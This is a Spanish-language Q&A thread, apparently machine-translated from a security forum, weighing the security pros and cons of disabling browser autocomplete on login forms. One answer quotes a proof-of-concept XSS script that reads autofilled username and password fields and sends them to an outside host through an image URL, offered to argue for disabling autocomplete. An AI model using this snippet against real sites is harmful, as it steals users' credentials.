¿Deben los sitios web deshabilitar el autocompletar formularios en todos los formularios?

11

Me he dado cuenta de que algunos escáneres de seguridad de aplicaciones web marcan la función 'Autocompletar' de algunos sitios web (en los campos de nombre de usuario / contraseña) como un riesgo de seguridad y, por lo tanto, sugieren incluir AutoComplete=off o en algún lugar del código.

Desde entonces he aprendido que autocompletar no es un atributo estándar y, aparentemente, no funciona en algunos navegadores.

Me pregunto si hay una "mejor práctica" en términos de seguridad cuando se trata de esto.

    
pregunta NULLZ 10.04.2013 - 02:02
fuente

5 respuestas

14

Eso depende de si estás buscando seguridad o complacer a un auditor.

Si habilita el autocompletado para el nombre de usuario y la contraseña, se mantendrán registrados en el navegador del usuario. Eso significa que el usuario no tendrá que recordarlo o almacenarlo en un lugar de fácil acceso, lo que significa que realmente tendrá la oportunidad de elegir una contraseña segura. (Tiene una mejor oportunidad si puede imponer la contraseña).

Si desactivas la función Autocompletar y el navegador respeta esta configuración, el usuario tendrá que escribir su contraseña nuevamente cada vez. Por lo tanto, elegirán uno que sea fácil de recordar y escribir. Si logra imponer una contraseña segura, la almacenarán en un lugar de fácil acceso para copiar y pegar. Una contraseña en un archivo de texto aleatorio que puede copiarse accidentalmente, que se puede pegar por error en un lugar público (barra de URL, correo electrónico, ...), es un riesgo mucho mayor que una contraseña almacenada en el almacén de contraseñas del navegador.

Puede encontrar el argumento de que si el usuario está usando un navegador compartido, está dejando las credenciales para la siguiente persona que use ese navegador. Este argumento es falso: incluso si el navegador acepta autocompletar = desactivado, están dejando la contraseña a cualquier keylogger que pase.

Creo que los navegadores móviles tienden a ignorar el autocompletado = apagado, debido a una combinación de teclados incómodos, la falta de disponibilidad de notas post-it en movimiento y la expectativa de un UX suave.

Un caso específico en el que debe desactivar el autocompletar lo más detalladamente posible es una tarjeta de crédito CCV. Tal vez incluso el número de la tarjeta mientras lo hace, pero si lo hace, guárdelo en el lado del servidor y no permita que se muestre en su totalidad (aunque esto es no es una panacea ).

Sin embargo, asegúrese de desactivar la corrección automática de contraseñas. No desea que una contraseña se corrija a una palabra en el diccionario del dispositivo móvil, o que se agregue al diccionario cuando el usuario rescinda la autocorrección.

    
respondido por el Gilles 10.04.2013 - 02:49
fuente
3

La razón por la que los navegadores ignoran autocomplete=off es porque ha habido algunos sitios web que intentaron desactivar el autocompletado de contraseñas.

Eso está mal; y en julio de 2014, Firefox fue el último navegador importante en implementar finalmente el cambio para ignorar cualquier sitio web que intente desactivar el autocompletado de contraseñas.

Cualquier intento por parte de cualquier sitio web de burlar la preferencia del navegador es incorrecto, es por eso que los navegadores lo ignoran. No se sabe por qué un sitio web debe intentar desactivar el guardado de contraseñas.

  • Chrome lo ignora
  • Safari lo ignora
  • IE lo ignora
  • Firefox lo ignora

¿Qué sucede si soy un snowflake especial?

Hay personas que muestran un buen caso de uso:

  

Tengo una computadora compartida, de área pública, estilo kiosco. No queremos que alguien (accidental o intencionalmente) guarde su contraseña para que el próximo usuario pueda usarla.

Eso no viola la declaración:

  

Cualquier intento por parte de cualquier sitio web de eludir la preferencia del navegador es incorrecto

Esto se debe a que en el caso de un quiosco compartido:

  • no es el servidor web el que tiene la política extraña
  • es el agente de usuario del cliente

El navegador (la computadora compartida) es el que tiene el requisito de que no intente guardar contraseñas. La forma correcta de evitar que el navegador guarde las contraseñas, es configurar el navegador para que no guarde las contraseñas. Ya que ha bloqueado y controlado esta computadora del quiosco, usted controla la configuración. Eso incluye la opción de guardar contraseñas.

En Chrome e Internet Explorer, configura esas opciones usando Políticas de grupo (por ejemplo, claves de registro).

De la Lista de políticas de Chrome :

  

AutoFillEnabled

     

Habilitar Autocompletar

     

Tipo de datos: booleano (REG_DWORD)

     

Ubicación del registro de Windows: Software \ Policies \ Chromium \ AutoFillEnabled

     

Descripción: habilita la función Autocompletar de Chromium y permite a los usuarios completar formularios web de forma automática utilizando información previamente almacenada, como la dirección o la información de la tarjeta de crédito. Si deshabilitas esta configuración, Autocompletar será inaccesible para los usuarios. Si habilita esta configuración o no establece un valor, Autocompletar permanecerá bajo el control del usuario. Esto les permitirá configurar los perfiles de Autocompletar y activar o desactivar Autocompletar a su propia discreción.

Por favor, pase la palabra de que tratar de desactivar el autocompletado de la contraseña es incorrecto, los navegadores están ignorando intencionalmente a cualquiera que intente hacerlo y deberían dejar de hacer lo incorrecto. ™

    
respondido por el Ian Boyd 06.11.2015 - 15:44
fuente
2

Las mejores prácticas son un tanto arbitrarias en este escenario porque depende de la aplicación decidir si quiere permitir el autocompletado o no.

¿Confía en el navegador del usuario para almacenar las credenciales de su aplicación? Sí: ignorarlo. No: bloquéalo.

Dado que depende del navegador, no agrega demasiado valor, pero ciertamente ayuda desde la perspectiva de la defensa en profundidad.

    
respondido por el Steve 10.04.2013 - 02:21
fuente
2

Hay dos problemas de seguridad principales relacionados con el autocompletado de formularios:

  • un atacante con acceso al navegador podrá leer la información guardada (si el almacenamiento no está protegido por contraseña)
  • Si la aplicación web es vulnerable a las secuencias de comandos entre sitios, se puede usar un código malicioso para recuperar información autocompletada y enviarla al atacante

Teniendo en cuenta estos posibles "ataques", el propietario de un sitio web debe decidir si vale la pena tener la funcionalidad adicional o si conlleva un riesgo demasiado grande para ser asumido.

Al final, todo se reduce al tipo de aplicación web del que estamos hablando. Por ejemplo, no me importaría completar automáticamente las credenciales de autenticación de un sitio web de noticias, pero ciertamente no me gustaría que mi aplicación web de banca doméstica completara automáticamente mi tarjeta de crédito PAN.

Si bien la mejor práctica de seguridad es desactivar la función de autocompletar, es un asunto que debe evaluarse de manera diferente para cada situación (¡y para cada campo de formulario!).

    
respondido por el Gurzo 10.04.2013 - 07:25
fuente
0

No para todos los formularios, sin embargo, si la página contiene información confidencial como credenciales y estas se completan automáticamente con el navegador sin interacción del usuario, y que contiene el sitio. una vulnerabilidad XSS, luego un ataque XSS podría recuperar las credenciales de forma trivial sin la participación del usuario.

Hackavoid tiene una excelente reseña , y algún código POC:

 <script>
      setTimeout(function() {getPass();},500);
      function getPass() {
           var username = document.getElementById('user').value;
           var password = document.getElementById('pass').value;
           document.write("<img src='https://www.hackavoid.com/gotit?username=" + username + "&password=" + password+"' />");
      }
 </script>

En su ejemplo, es una vulnerabilidad XSS persistente, pero se podría lograr lo mismo con una vulnerabilidad XSS reflejada. Para extender este ataque, el propio XSS podría incluso proporcionar los cuadros de nombre de usuario y contraseña para que el navegador se complete automáticamente en caso de que el XSS no esté en una página de inicio de sesión.

Por lo tanto, todavía recomendaría que la opción Autocompletar esté desactivada para los campos confidenciales que se completan automáticamente sin la interacción del usuario en los navegadores modernos. Muchos administradores de contraseñas basados en el navegador, como LastPass, dan la opción de ignorar AutoComplete=off . Sin embargo, LastPass también ofrece la opción de no completar automáticamente la información de inicio de sesión ( Plugin > General > Automatically Fill Login Information ). Recomiendo que esto se deshabilite para mitigar cualquier credencial que agote los ataques XSS como usuario final.

    
respondido por el SilverlightFox 15.07.2015 - 17:32
fuente

Lea otras preguntas en las etiquetas